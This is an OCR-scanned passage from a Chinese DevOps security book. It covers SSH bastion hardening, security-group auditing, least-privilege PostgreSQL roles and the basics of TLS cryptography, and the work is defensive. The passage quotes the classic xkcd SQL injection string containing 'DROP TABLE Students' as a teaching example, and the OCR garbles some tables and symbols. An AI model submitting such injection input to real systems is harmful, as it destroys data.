票应用的SSH连接。第二条连接需要的密钥对不在堡垒机中，它们只存储在你自己 

的本地机器上。你可以将私钥拷贝到堡垒机上，但这也是主要的安全风险。图4.9 
中展示的SSH代理转发解决了这个问题，解决的方法是允许第二条连接将第一条连 

接当成隧道来穿过,并从运维人员机器上的代理请求验证数据。
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图4.9 SSH代理能在服务器之间进行转发,让运维人员的机器不必在网络上发送私钥就可以执 
行验证请求（实线箭头表示）。

转发SSH代理是ー种强大的技术,在系统管理员中十分流行,但很少有人知道 

这其中潜藏的安全风险:当代理被转发时，任何能访问代理的人都可以访问运维人 

员的验证数据。实际上,任何有堡垒机root访问权限的人都可以使用运维人员的代 

理。这是因为代理在堡垒机上创建了一个UNIX套接字，允许后续的SSH连接和运 

维人员的机器对话。UNIX套接字的地址存放在SSH_AUTH_SOCK环境变量中,只 

能由用户访问,如代码清单4.38所示。但是root可以窃取用户的身份并访问它的套 

接字。

代码清单4.38堡垒机上SSH代理套接字的地址和权限

$ echo $SSH_AUTH_SOCK 
/tmp/ssh-aUoLbn8rF9/agent.15266

$ Is -al /tmp/ssh-aUoLbn8rF9/agent.15266
srwxrwxr-x 1 sam sam 0 Sep 3 14：44 /tmp/ssh-aUoLbn8rF9/agent.15266

建议你在使用代理时要小心,只有主机可以被信任并且在必要时オ启用它。实 

际上,这就是说在默认情况下要禁用代理,要么在用SSH命令行连接服务器时使用 

-A参数,要么只针对特定的主机启用代理。代码清单4.39展示的是仅对堡垒机启 

用代理的配置。

代码清单4.39除了堡垒机,默认禁用SSH代理

Host *
ForwardAgent no

Host ***.securing-devops.com
ForwardAgent yes

我个人倾向于完全禁用代理,只是在必要时使用SSH命令行的ーA标志。这有
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一些烦琐，但如果你很少需要跳转主机,那么它提供的安全性比永久转发要高。

更好的选择 ：Proxyjump

如果你使用的是现代OpenSSH设施（从版本号7.3开始）,选项Proxy- 
Jump 提供了一个SSH代理转发的安全替代品。你可以在命令行通过-J标识 

ィ更用 Proxyjump ：

$ ssh -J *** .securing-devops.com target-server.secur- 
ing-devops.com

你也可以设置配置文件,对任何属于メ**-devops.com域的主机自动使用 

Proxy Jump,酉己置如下：

Host *.securing-devops.com
Proxyjump *** .securing-devops.com

Proxyjump没有在中转的堡垒机上暴露套接字,因此也就不存在SSH代 

理那样的安全漏洞,如果你的基础设施支持现代SSH，可优先考虑这种方法,

我们对SSH安全性的介绍到此为止。现在你的堡垒机有了最合理的配置,做好 

了成为基础设施入口的准备。在下ー节,我们将重新审视网络访问控制，以阻止对 

发票应用基础设施的直接访问,并让所有访问都要通过堡垒机。

4.3.6开放安全组之间的访问权限
回到图4.4中，我们在那里讨论了堡垒机的安全组策略，现在你需要开放从堡 

垒机到发票应用安全组的SSH访问权限,以及从堡垒机到数据库的PostgreSQL访 

问权限。我们在pineapple测试中定义了这些规则,这些测试编写在4.2节中， 

用来校验安全组当时的状态。

代码清单4.40审计堡垒机对发票应用的访问的Pineapple配置

miles：

-src: 0.0.0.0/0 
dst： load-balancer 
dport： 443

-src： load-balancer 
dst： application 
dport: 80
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- src： application 
dst： database 
dport: 5432

- src： bastion 
dst： application 
dport： 22

- src： bastion 
dst： database 
dport： 5432

堡垒机对发票应用服 
务器的访问。

堡垒机对发票应用数 
据库的访问。

堡垒机自身用标签 environment-name : invoicer-bastion 定义,如 

代码清单4.41所示。

代码清单4.41堡垒机组件在pineapple中的定义

components：

-name： bastion
type： ec2
tag ：

key： environment-name
value： invoicer-bastion

将这个配置加到部署器的安全组测试中,运行测试对安全组现状进行校验。测 

试会像代码清单4. 42中展示的这样，测试失败是因为现在你还没有开放必要的安 

全组。

代码清单4.42测试失败：不允许发票应用连接的安全组

2016/09/03 12：16：48 building map of security groups for all 4 components 
2016/09/03 12:16:51 "awseb-e-c-AWSEBLoa-1VXVTQLSGGMG5" matches tags

elasticbeanstalk：environment-name：invoicer-api
2016/09/03 12:16：52 "i-7bdad5fc" matches tags elasticbeanstalk：environment- 

name：invoicer-api
2016/09/03 12:16：54 "arn：aws：rds：us-east-l:927034868273:db：invoic

er201605211320" matches tags environment-name：invoicer-api
2016/09/03 12:16:55 "i-046acd35" matches tags environment-name：invoicer- 

bastion
2016/09/03 
2016/09/03 

found
2016/09/03
2016/09/03

12:16:55
12:16:55

12:16:55
12:16:55

rule 0 between " 0.0.0.0/0" and "load-balancer" was found
rule 1 between "load-balancer" and "application" was

rule 2 between "application" and "database" was found
FAILURE: rule 3 between "bastion'• and "application" was

NOT found

你已经有了将堡垒机和应用安全组开放给发票应用所需的!D0代码清单4.43 
中执行的是实现这些规则所需的两条命令。
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代码清单4.43将RDS和EC2安全组开放给堡垒机

:
lcc发票应用安全组的ID.

$ aws ec2 authorize-security-group-ingress \
--group-id sg-6ec86f15 \
--source-group sg-f14ff48b \ ◄-----
--protocol tcp --port 22 <-------

堡垒机安全组的IDo

I允许访问发票应用EC2 
］实例的SSH端口。

$ aws ec2 authorize-security-group-ingress \
--group-id sg-35ca6d4e \ <---------

RDS安全组的IDo

--source-group sg-f14ff48b \
I—► --protocol tcp --port 5432
!允许访问RDS数据库的PostgreSQL端口。

堡垒机安全组的ID.,

在这些规则就绪之后,你可以再次执行Pineapple测试，来校验配置的状态。

代码清单4.44当堡垒机的规则生效后，所有pineapple测试都通过了

2016/09/03 12:39:26 rule 3 between "bastion" and "application" was found 
2016/09/03 12:39:26 rule 4 between "bastion" and "database" was found

关于堡垒机和SSH的部分，介绍到此结束。完善的堡垒机策略对基础设施的安 

全至关重要,这一点我如何强调都不为过。保护ー个访问点比保证多个可以从互联 

网直接访问的系统的完整性要轻松得多。花些时间构建足够安全和冗余的堡垒机, 

并要求所有敏感的访问都要穿过它们，这能避免将来的ー些麻烦出现。

在下ー节，我们将讨论基础设施安全性的另ー个关键领域:数据库安全性，以 

及如何确保对公司数据的访问是受保护的。

4.4控制对数据库的访问
在过去的服务运维过程中，多个服务通常共享一个关系型数据库,该数据库充 

当多个应用之间的数据代理人。每个应用都有自己的一套凭证和权限,而数据库通 

常拥有数百张表，并且覆盖的数据常常有TB级之多。这种单体模型给位于中心的 

数据库带来了巨大的安全压カ,让它的运维成了复杂枯燥的任务,而这些任务往往 

只能由数据库管理员(DBA, Database Administrator)这样的专家才能够完成。

微服务方法改变了服务架构的单体视角，将其变成了服务之间通过公开API交 

互的模型。在微服务中，数据库是服务私有的,其他人的任何服务都不能直接访问 

它们。访问控制的复杂性从数据层转移到了应用层，规定哪个服务能够访问哪些内 

容的详细规则必须由API来维护。
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DevOps采用微服务来加快单个服务的演进速度（整体服务的修改通常没那么 

频繁）。微服务的优缺点不在本书讨论的范围内。我们在这里要关注的是在这种类 

型的环境中保护数据库的架构概念。

在保护数据库（或其他基础设施）时,我们应该问的主要问题是：“完成手头 

的这个任务最少需要哪些权限? ”在发票应用的这个例子中,我们要针对三个不同 

的群体提出这个问题:

• 发票应用自己需要创建、读取和更新数据库中的发票，与此同时,它不应该 

被允许改变数据库自身的结构。

• 运维人员,他们需要管理员权限完成对数据库结构的修改或是配置的修改。

• 开发人员，他们需要必要的权限在不破坏用户隐私的前提下诊断代码中的问题。

许多应用还需要第四个群体来进行报告和商业智能服务。最后这ー组往往是最 

难保护的，原因在于为了精度,他们要大范围地访问数据,这也让他们成为攻击者 

在入侵时的主要目标。我们在讨论时没有涵盖这ー组，而是确保我们讨论的技术也 

可以应用到这ー组中。

4.4.1 分析数据库结构

我们先连上发票应用的数据库,看看它的结构。你可以连接堡垒机，然后使用 

PostgreSQL的psql客户端来建立到数据库的连接，如代码清单4.45所示。你需要 

使用第2章中创建的管理员凭证进行验证身份。

代码清单4.45通过堡垒机连接数据库并列出数据表

sam@ip-172-31-45-243：psql -U invoicer -h ***.
czwrkdqhklf.us-east-1.rds.amazonaws.com -p 5432 invoicer

Password for user invoicer：

psql (9.5.4, server 9.4.5)
SSL connection (protocol: TLSvl.2, cipher： ECDHE-RSA-AES256-GCM-SHA384, bits: 

256, compression： off)
Type "help" for help.

List of relations
invoicer=> \d

Schema | Name 1 Type 1 Owner

public 1 charges 1 table invoicer
public 1 charges_id_seq 1 sequence | invoicer
public 1 invoices 1 table invoicer
public 1 invoices id seq 1 sequence | invoicer
public 1 sessions 1 table invoicer
(5 rows)
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这个数据库十分简单,只有三张表:费用、发票及会话,它们的详细信息展示 

在代码清单4.46中。发票应用需要对全部这些列的访问权限,现在的做法是使用管 

理员账户来访问数据库。如果应用服务器被攻破,攻击者就会获得管理员访问权限, 

并利用它来篡改或删除数据。你只应该授予应用最小的权限，以及尽可能地降低这 

种风险。可以确定的是，它需要插入发票，还可能要更新发票，但很确定的是它不 

能删除任何发票记录！

代码清单4.46费用表、发票表及会话表的列和索引

invoicer=> \d
Table

Column

charges
"public.charges" 

Type 1
id
created_at 
updated_at 
deleted_at 
invoice_id 
type
amount 
description

1
1
1
1
1
1
1
1

integer
timestamp with time 
timestamp with time 
timestamp with time 
integer
text
numeric
text

1 
zone 1 
zone 1 
zone 1

-1 
,1

1
1

invoicer=> \d
Table

Column

invoices 
"public.invoices"

1 Type 1

id 
created_at 
updated_at 
deleted_at 
is_paid 
amount 
payment_date 
due_date

1 integer
1 timestamp
1 timestamp
1 timestamp
1 boolean
1 integer
1 timestamp
1 timestamp

with time 
with time 
with time

with time 
with time

1 
zone 1 
zone 1 
zone 1

1
1 

zone 1 
zone 1

invoicer=> \d sessions
Table "public.sessions"

Column 1 Type 1

id
data 
created_at 
updated_at 
expires_at

1
1
1
1
1

text 1 
text
timestamp with time zone | 
timestamp with time zone | 
timestamp with time zone |
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在我们深入讨论如何创建这些权限之前,我们先来看看PostgreSQL在访问控制 

方面都提供了哪些功能。

4.4.2 PostgreSQL的角色和权限
所有成熟的数据库都提供了细粒度的访问控制和权限,而PostgreSQL就是最成 

熟的关系型数据库之一。PostgreSQL数据库的权限运用了两条核心原则：

«连接到数据库的用户身份由它们的角色决定。ー个角色承载了一组权限,数 

据库对象，如表、序列或索引,也可以被一个角色所有。角色也可以从其他 

角色继承，而且通常是从公共角色继承的。这种继承模型允许复杂的策略构 

建,但也使权限的管理和审计更加困难。需要注意的是，角色是在数据库服 

务器程序postgres中定义的,在postgres中是全局有效的。

«数据库对象权限通过授权处理。授权给予角色执行操作的权限。标准授权操作 

有 SELECT, INSERT, UPDATE, DELETE, REFERENCES, USAGE, UNDER, 
TRIGGER,以及EXECUTE,它们的细节可以在PostgreSQL文档（链接 

4.13）中找到。所有可以授权的内容也可以使用相反的操作REVOKE来 

撤销。

SQL标准（在本书编写时是ISO/IEC 9075-1:2011）规定了角色和授权的含义。 

大多数实现了该标准的关系型数据库都使用了相似的处理权限方式，你所掌握的知 

识可以让你在数据库的相互转换中应对自如。

在psql终端中可以使用PostgreSQL的\dp命令列出ー个数据库的权限。代码 

清单4.47展示了对发票应用数据库执行\dp命令的输出。

代码清单4.47发票应用数据库中表的权限

invoicer=> \dp
Access privileges

Schema | Name Type 1 Access privileges 1 Column privileges

public 1 charges table 1 1
public 1 charges_id_seq sequence 1 1
public 1 invoices table 1 1
public 1 invoices_id_seq | sequence 1 1
public 1 sessions table 1 1
(5 rows)

类似地,你可以使用'd列出表的所有权，所有权在逻辑上属于管理员 

“ invoice-',因为现在只有这一个用户。
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代码清单4.48发票应用数据库中表的所有权

invoicer=> \d
List of relations

Schema | Name 1 Type 1 Owner

public 1 charges 1 table invoicer
public 1 charges_id_seq 1 sequence | invoicer
public 1 invoices 1 table invoicer
public 1 invoices_id_seq 1 sequence | invoicer
public 1 sessions 1 table invoicer
(5 rows)

最后，'du命令可以列出PostgreSQL服务器上存在的角色,包括它们的属性 

及它们继承的角色。再一次强调，要牢记这些角色是在PostgreSQL服务器这个级 

别定义的，而不是在发票应用数据库这个级别定义的。代码清单4.49展示了用户 

invoicer 的声明，它继承了 rds_superuser 角色。rds_superuser 是 AWS 
RDS的特定角色，除了类似复制配置这样的敏感操作，它拥有大多数超级用户权限 

的授权。虽然invoicer是特定于某个RDS实例的角色，但在每个AWS管理的 

PostgreSQL数据库中都能找至Urds_superuser这个角色。

代码清单4,49托管发票应用数据库的RDS PostgreSQL服务器的角色

List of roles
invoicer=> \du

Role name | Attributes Member of

invoicer Create role, Create DB {rds_superuser)
1 Password valid until infinity

rds_superuser | Cannot login ()
rdsadmin Superuser, Create role. Create DB, ()

1 Replication, Password valid indefinitely |
rdsrepladmin No inheritance, Cannot login. Replication| ()

现在你对数据库权限模型有了更清楚的认识,是时候为应用、运维和开发人员 

创建角色了。

4.4.3 为发票应用定义细粒度的权限

我们从需要定义的三个角色中的最简单的那个开始:需要发票应用数据库所有权 

限的运维人员。你可以重用已经提供给invoicer角色的权限，使用代码清单4.50 
展示的这条命令为sam创建一个角色。
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代码清单4.50创建一个运维人员角色sam

1~~► invoicer=> \c postgres 
postgres=> CREATE ROLE sam

I切换到postgres数据库。
］创建一个名为sam的新角色。

允许这个角色登录数据库。 分配一个密码。允许这个角色创建数据库。

LOGIN ◄---- 1
PASSWORD •ludhl2(Q&Ehlkhzdlsf1

postgres-> 
postgres-> 允许这个角色创建其他角色。

postgres-> CREATEDB v-------------------------------
postgres-> CREATEROLE < -
cr^te6roleINHERIT； ""一(允许这个角色继承其他...，o._
create role |角爸。 ］让sam继承mvoicer的权限。

postgres=> GRANT invoicer TO sam； ◄-------------- '
GRANT ROLE

Sam 将自动继承 invoicer 角色,而 invoiceエ 继承了 rds_superuser 
角色。使用代码清单4.51中创建和销毁测试数据库的命令,你可以测试用户sam 
对数据库的连接。

代码清单4.51验证 是数据库的管理员

$ psql -U sam \
-h *** . czwrkdqhklf .us-east-1. rds. amazonaws. com \
-p 5432 postgres
postgres=> CREATE DATABASE testsam；

CREATE DATABASE
postgres=> DROP DATABASE testsam； 
DROP DATABASE

Sam现在被授予了几乎全部的数据库权限。为每一个运维人员创建一个角色的好 

处是便于审计：RDS实例的日志记录了哪些角色在实例上执行了操作，在审视过去发 

生的活动时,这些日志可以派上大用场。例如，如果Sam尝试使用set role rd- 
sadmin,当命令将她的角色切换到rdsadmin用户时(这个操作是禁止的)，错误日 

志将捕获这次违规行为,并将它和执行这次操作的运维人员的身份关联在ー起。

代码清单4.52 RDS错误日志捕捉到了权限违规

2016-09-04 20:12:12 UTC：172.31.45.243(37820):sam@postgres：［16900］：ERROR: 
permission denied to set role "rdsadmin)•

在正常操作中，这种类型的错误从来都不应该发生,因此它是ー个明显的信号, 

表明有不寻常的事情发生了。千万不要忽略日志中的“permission denied”消息。
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授权开发人员访问

我们要注意的第二类用户是开发人员。安全团队由于担忧数据会泄露到不安全 

的环境中，在许多基础设施中，他们拒绝授予开发人员任何访问权限。在我们进ー 

步讨论之前，我们必须清楚这样ー个事实：即使只是将有限的访问权限授予给了任 

何人,无论是运维人员还是开发人员，也会增加数据泄露的可能性。相关人员必须 

意识到拥有特别访问权限的风险,并且要接受安全处理数据的培训。数据就像放射 

性废料:你不想长时间地接近它，它应该始终被放在高度安全的容器中移动。

可以这么说，无论是将数据库访问权限授予运维人员还是开发人员，其实并没 

有实质性区别。如果相关人员训练有素,能够保护好他们的访问权限，你就应该信 

任他们，给他们提供需要的访问权限。禁止开发人员访问数据库就和完全不保护数 

据一样,会在运维复杂度上给公司带来损害。安全往往意味着找到ー个中间地带。

为了方便示例，我们介绍一位新成员Max，他是一位开发人员，他想访问数据 

库里的技术信息，包括表的大小、活跃的会话、条目的数量,等等。Max不需要也 

不想访问个人识别信息(PH, Personally-Identifiable Information),所以你需要创建 

ー组权限,禁止他访问敏感的列。先从为Max创建一个可以登录的角色开始。

代码清单4.53创建一个Max可以登录数据库的角色

invoicer=> CREATE ROLE max LOGIN PASSWORD '03wafje*10923h@(&1'; 
CREATE ROLE

Max可以用这对用户名密码连接到数据库，并访问其自动继承的公共模式允许访 

问的那些对象，包括表的大小,以及和数据库实例有关的重要信息，但是如果他想尝 

试访问发票应用数据表里的任何记录,一条“permissiondenied”错误会立即中断查询。

代码清单4.54允许Max查看数据库状态,但不允许他查看表里的记录

invoicer=> \c invoicer 
invoicer=> \d+

List of relations
Schema | 

----------------十一.

Name 1 Type 
-+----------

Owner | 
-+-----------+-

Size 1 Description 
-+-------------

invoicer=> select * from charges；

ERROR： permission denied for relation charges

public 1 charges 1 table invoicer 1 16 kB
public 1 charges_id_seq 1 sequence | invoicer 1 8192 bytes
public 1 invoices 1 table invoicer j 8192 bytes
public 1 invoices_id_seq 1 sequence | invoicer I 8192 bytes
public 1 sessions j table invoicer j 8192 bytes
(5 rows)
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发票应用数据库ー共有三张表，你将授权Max读取（SELECT）每ー张表里多 

个不包含敏感信息的列:

• 费用表允许Max读取费用ID、时间戳及发票ID°Max没有权限访问费用类型、 

金额和描述。

• 发票表允许Max读取发票ID、时间戳及支付状态。Max没有权限访问发票 

金额、支付方式和到期日。

・ 会话表允许Max读取ID和时间戳。Max没有权限访问会话数据。

代码清单4,55授权Max读取非敏感信息

invoicer=> GRANT SELECT (id, created_at, updated_at, 
deleted_at, invoice_id) ON charges TO max；

GRANT
invoicer=> GRANT SELECT (id, created_at, updated_at, 

deleted_at, is_paid) ON invoices TO max；

GRANT
invoicer=> GRANT SELECT (id, created_at, updated_at, 

expires_at) ON sessions TO max；

GRANT

\dp命令可以返回以上指令授予Max的权限的详细列表,如代码清单4.56所示。 

Column privileges列中的每ー个条目都代表了一个列名，后面跟着被授权的 

角色名及ー个说明权限的字母。字母r代表读取权限，对应的是SELECT SQL语句。

代码清单4.56发票数据库权限显示了 Max的只读访问权限

invoicer=> \c invoicer 
invoicer=> \dp

Access privileges
Schema | Name 1 Type 1 Column privileges

public 1 charges 1 table 1 id: +
1 1 max=r/invoicer +
1 1 1 created at： +
1 1 1 max=r/invoicer +
1 1 1 updated_at： +
1 1 1 max=r/invoicer +
1 1 1 deleted at： +
1 1 max=r/invoicer +
1 1 1 invoice id： +
1 1 max=r/invoicer
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（5 rows）

public 1 charges_id_seq | sequence |
public 1 invoices table id： +

1 1 1 max=r/invoicer +
1 1 1 created_at： +
1 1 1 max=r/invoicer +
1 1 1 updated_at： +
1 1 1 max=r/invoicer +
1 1 1 deleted_at： +
1 1 1 max=r/invoicer +
1 1 1 is_paid： +
1 1 max=r/invoicer

public 1 invoices_id_seq | sequence |
public 1 sessions table

在具备了这些权限之后，Max可以调试数据库中的技术问题，但不能访问任何 

敏感信息。这种类型的权限通常足够他完成开发工作,避免DevOps人员犯下将用 

户数据置于风险之中的错误。

在强化访问控制的最后ー个步骤里，我们重新审视一下应用自身被授予的那些 

权限。

限制应用的权限

截至目前，应用的权限是最难管理的。在面对为应用定义细粒度权限的挑战时， 

大多数开发人员选择放弃,并让应用不受限地访问数据库。有太多代表开发人员处 

理模式管理的Web框架也在此前提下工作。限制对数据库的访问的应用反而更像是 

异类而非守法公民。

为应用提供不受限制的用户的主要风险在于:让攻击者在入侵时能有机可乘 

地破坏敏感数据。当SQL注入漏洞可以执行管理员任务时将会变得更加危险。在 

Randall Munroe的xkcd漫画〇/'Mom （妈妈攻击，链接4.14）中,儿子的注 

册信息被录入学校的数据库后，数据库中的所有记录都遭到了破坏。原因就是他的 

名字:Robert，） ； DROP TABLE Students; --o 这是一次经典的 SQL 注入。 

这副漫画完美地突出了两个主要问题:

・应该采取输入的无害处理来对敏感字符进行转义,就像第3章中讨论的那样。

•应该永远不允许处理学生记录的应用在数据库上发起DROP语句。

在发票应用的例子里，你可能从来没有想要删除表里的任何数据,更不必说 

删除整张表了!相反地，你会将已删除记录的deleted_at时间戳更新为非空值 

来将它标记为己删除。实际上,允许应用在费用表和发票表上发起的语句应该只有 

SELECT. INSERT UPDATE,
你还需要允许通过USAGE语句来使用序列，以及更新和删除会话。代码清单4.57 

展示了授予新创建的invoicer_app角色的权限。
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代码清单4.57授予针对特定记录的创建、 读取及更新权限

GRANT SELECT, INSERT
ON charges, invoices, sessions TO invoicer_app；

GRANT UPDATE (updated_at, deleted_at, description)
ON charges TO invoicer_app；

GRANT UPDATE (updated_at, deleted_at, is_paid, payment date, due_date)
ON invoices TO invoicer_app；

GRANT UPDATE, DELETE ON sessions TO invoicer_app;

GRANT USAGE
ON charges_id_seq, invoices_id_seq TO invoicer_app；

在具备这些权限之后,你需要编辑在第2章创建的发票应用的EB配置。当 

前保存管理员密码的环境变量INVOICER_POSTGRES_USER和エNVO1CER_POST- 
GRES_PASSWORD应该被替换成使用正确的invoicer_app角色的值。在配置修 

改之后,EB将使用新参数来重新部署应用,现在发票应用将使用受限的权限而不 

是管理员权限进行操作。

4.4.4在部署器中断言权限
数据库权限很难做到长期维护,尤其是产品在快速演进的时候。保持细粒度的 

权限持续有效,同时还想让产品可以快速地迭代,将权限测试作为部署流水线的ー 

个组成部分就很重要了。

代码清单4.58中的脚本展示了部署器如何将invoicer_app角色的权限审计 

作为部署流水线的一部分。脚本的逻辑是，先使用内部pg_class表的查询从数据 

库获取生效的权限，然后将查询的输出和期望的权限列表进行对比。如果两个列表 

不ー样,脚本将以非零错误代码退出。

代码清单4.58断言授予invoicer_app角色的权限的测试

#!/bin/bash
grants=M$(psql -U deployer \

-h *** . czwrkdqhklf .us-east-1. rds . amazonaws . com \
-p 5432 invoicer -c ,

COPY (
SELECT oid：：regclass, acl.privilege_type
FROM pg_class, aclexplode(relacl) AS acl I—
WHERE relacl IS NOT null AND acl.grantee=16431

)TO STDOUT WITH CSV り"

以CSV格式获取授予 
invoicer_app (ID 是 
16431)的权限。
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EXPECTEDGRANTS=(
，invoices id_seq,USAGE' 
'charges_id_seq,USAGE' 
•invoices,INSERT'
'invoices,SELECT'
'charges,INSERT' 
'charges,SELECT' 
'sessions,INSERT'
'sessions,SELECT'
'sessions,UPDATE'
'sessions,DELETE'

期望的invoicer_app角色的权 
限清单。

for grant in $grants； do 
expected=O

for egrant in ${EXPECTEDGRANTS[@]}； do 
if [ "$grant" == "$egrant" ]； then 

expected-
fi 

done 
if [ "$expected" -eq 0 ]； then

echo "Grant '$grant' was not expected" 
exit 1 

fi 
done 
exit 0

通过查询pg_roles完成对invoicer_app角色的内部!D的获取。

代码清单4.59 roles表里的内部角色ID

invoicer=> SELECT oid FROM pg_roles WHERE rolname='invoicer_app'; 
oid

(1 row)

这个脚本已经加到了部署的仓库里，名字是deploymentTests/6-da-tabasegrants.sho 
要使用该脚本，部署器就需要自己的角色和密码才能访问数据库。密码可以通过部 

署器中名为PGPASSWORD的环境变量来设置,psql客户端会自动使用它来进行数 

据库的身份验证。
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更进ー步使用存储过程

将查询放入存储过程并只给这些过程授权,可以进ー步减少授予用户的数 

据库权限。

这种方法能防止用户运行那些没有被数据库管理员特别批准的查询。但是， 

它确实增加了维护成本，因为当每次应用需要一个新查询时，都需要修改数据库， 

所以请将这种方法留给最敏感的数据库。

这个简单的例子没有测试针对特定列的权限，但它提供了一个校验数据库的权 

限的基本方法,并足以让你入门。像PostgreSQL这样复杂的数据库软件，它提供了 

丰富的特性和配置选项，你很容易就会迷失在其中。关于操作PostgreSQL的图书可 

谓汗牛充栋,如果你感兴趣，除深入探索这个伟大软件的内部以外，我没有更好的 

建议了。对关系数据库的安全模型了解得越多，公司数据在你手中就越安全。

4.5本章小结

・ 基础设施的安全性测试应该是自动化的,并作为CD流水线的一部分。

• 云基础设施使用逻辑分组代替IP地址来保护网络。

• Pineapple这样的工具可以对安全组中的规则进行审计，确保它们符合事 

先定义好的策略。

• SSH堡垒机是保护对基础设施的访问的关键组件。

・ 多因子验证提供了额外保护，来防止运维人员丢失凭证带来的风险。

• SSH代理是很强大的工具，但也很危险，只有运维人员需要在主机上跳转时 

ォ应该启用。

・ PostgreSQL这样的数据库提供了控制访问的细粒度权限模型。

• 应用永远不应该使用数据库管理员的凭证，以减轻因破坏公司数据而造成的 

损害。
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保护通信

本章内容包括

・ 理解传输层安全协议的概念和术语

■ 建立Web浏览器和服务器之间的安全连接
・ 从AWS和しet's Encrypt获取证书
■ 在应用的公开终端节点上配置HTTPS
・ 遵循Mozilla指南,实现HTTPS现代化

在第3章添加的应用控制与第4章添加的基础设施控制都是保证客户数据得以 

安全存放,以及防止数据被窃取和完整性受到损失的关键举措。到目前为止，我们 

的精力主要集中在托管环境上,而忽略了一个严重的安全性漏洞:用户和服务之间 

传输的数据完全没有受到任何保护，可能会在传输途中被任何人窃取或者修改。本 

章我将说明如何使用HTTPS为网络通信带来机密性和完整性。

HTTPS由Web的应用层协议HTTP和传输层安全协议TLS组成。TLS是互联 

网上运用得最为广泛的加密协议。HTTPS提供的安全控制大部分都来自TLS,我 

们理所当然地将本章大部分的篇幅都用来介绍如何正确地使用该协议。TLS没有覆 

盖到的内容直接需要启用HTTP层的控制，所以我们会在本章快结束时讨论HSTS 
（HTTP严格传输安全）及HPKP （HTTP公钥固定）。

如果你从未使用过TLS或加密协议,那么你会发现很多术语对你来说可能很陌 

生。“证书颁发机构”“公钥基础设施"及“完美前向保密”，这样的术语是安全エ 
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程师的词汇表中的一部分,理解它们也是本章的ー个重要目标。本章将从讨论这些 

术语开始,它们从何而来,和HTTPS的关系又是怎样的。

5.1 安全通信意味着什么

一条通信信道的安全性由三个核心属性决定,如图5.1所示:

• 机密性——只有合法的讨论参与者才能够访问这些信息。

• 完整性一参与者之间交换的消息不能在传输过程中被修改 。

• 真实性——讨论参与者必须能够互相证明身份。

Eve

完整性:Eve无法修改传输中的消息。

图5.1机密性、真实性及完整性是能让Alice和Bob安全通信，并阻止Eve干扰通信的核心安 
全属性。

TLS提供了全部三种属性，这是ー个不小的成就。为了解释清楚TLS是如何做 

到这ー点的，我们得让时光倒流,来讨论密码学的起源。我们今天所达到的复杂程 

度,归因于解决了几个世纪以来科学进步所带来的日益复杂的安全问题。对于已经 

具备了安全背景知识的读者来说，可放心地跳过以下内容，直接阅读5.2节一理 

解 SSL/TLS。
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5.1.1 早期的对称加密

在早期,这三个属性并不是都能得到保证的，早期的安全协议主要关注的是机 

密性。凯撒替换密码就是一个早期加密协议的例子，这位罗马统帅在他的私人信件 

里使用了这种密码。凯撒密码需要参与者共享一个在消息加密或解密时字母表错位 

的位数。代码清单5.1展示了一个替换密码的示例，它使用的是ー个移位了七个字 

母的字母表。

代码清单5.1使用简单替换密码的加密与解密

key： 7
alphabet： abcdefghij klmnopqrstuvwxyz
shifted ： hijklmnopqrstuvwxyzabcdefg
cleartext： attack the southern gate at dawn 
ciphertext： haahj r aol zvbaolyu nhal ha khdu

ciphertext的接收方必须先掌握解密消息所需的密钥，它可以在交换消息之 

前当面协商。因为加密和解密一条消息使用的是同一个密钥，我们称之为对称加密协 

议。除了一个不切实际的密钥管理流程，这种协议还缺少对完整性和真实性的保护:

• ciphertext可能会在传输过程中被攻击者修改,即便攻击者无法加密该消息。

这可能会导致明文变得无法理解，而接收方没有办法区分出消息是被篡改了, 

还是作者的酒后胡话。

•没有证据证明消息就是来自预期的作者。其他人可以破解密钥并发布欺诈消 

息，这是ー种误导对手的好方法,如图5.2所示。

图5.2凯撒密码缺少身份验证和完整性检查,因此Eve可以把Bob的机密消息替换成她自己的 
消息。你能解密这条消息吗？
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这两个问题使得密码学家要借助印章来保护消息、,印章一开始是由蜂蜡制成的， 

后来还被染成了红色。消息作者使用他们自己的印章来密封信件,而接收者可以在 

收到信件时检查印章是否完好无损。只要主要攻击者无法复制印章，这种协议就是 

安全的,机密性、完整性及真实性就得到了保证。即使是在今天,密封消息也依然 

是TLS协议的重要组成部分。

5.1.2 Diffie-Hellman 与 RSA
几个世纪过去了,成百上千的密码系统不断地对凯撒密码进行改良，它们创造 

出的算法也越来越难以破解,但是如何安全地在参与者之间共享加密密钥,这个问 

题是任何通信系统都挥之不去的隐患。

亲自交换密钥始终是最安全的方式，它可以确保正确的人持有密钥,并且没有 

人能在传输过程中修改它（OpenPGP密钥签名仍然在它的信任网络中使用这种方 

法），但这种协议对于跨洲的通信就无能为カ了，因为这种通信的参与者无法直接 

会面。二战之后，科学家和工程师投入了更多的时间和精力来完善加密协议以保 

护快速扩张的通信网络，这些通信网络在不久之后就发展成了互联网。网络通信 

的参与者来自天南海北，随着参与人数越来越多,共享加密密钥问题的压力也开 

始与日俱增。

1976 年,Whitfield Diffie 与 Martin Hellman （在 Ralph Merkle 的帮助下）公布 

了 Diffie-Hellman （DH）密钥交换算法，这个问题オ被突破。当使用Diffie-Hellman 
交换时，通信双方可以先执行密钥交换协议，以此产生加密密钥，然后再建立通信 

信道。加密密钥本身不会在线上传输，而且加密密钥无法仅仅通过使用公开交换的 

内容演算来得出。实际上，DH是ー种在公开网络上能安全达成一致的加密密钥的 

方法,同时能防止窃听者了解任何与密钥有关的有效信息。这样交换密钥才能被用 

于加密和解密消息。

Diffie-Hellman 密钥交换
要理解Diffie-Hellman算法背后的数学运算，只需用到高中的数学知识。 

Alice和Bob希望就加密密钥达成一致，以便安全地交换消息,

1 . Alice选择ー个质数タ,ー个生成元g，以及一个随机密码a。Alice计算 

出n=g" modp的值,并把p、g和ス发给Bob。

2 .当接收后，Bob生成一个随机密码ら,计算出8=g"modp的值,再把8 
发给Alice。

Alice和Bob都共享了足够计算出加密密钥的信息。Alice计算!<£丫=ガmodp, 
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而Bob计算key=Tmodp 他们最终都会计算出ー样的密钥值，而不用在线上 

传递这个密钥值

使用小数值的Diffie-Hellman密钥交换

Alice生成质数p=23，生成元g=5及随机密码a=6

Alice 计算 A=ga mod p 即 56 mod 23=8

Alice 把 p=23, g=5 和 A=8 发给 Bob

Bob生成密码b=15
Bob 计算 B=gb mod p 即 5" mod 23=19

Bob 把 B=19 发给 Alice
Alice 计算密钥 key=Bamod p 即 196 mod 23=2

Bob 计算密钥 key=Afc mod p 即 8い mod 23=2

Alice和Bob得到了协商过的密钥key=2

Eve无法窃取密钥,因为密钥根本没有在Alice和Bob之间传输

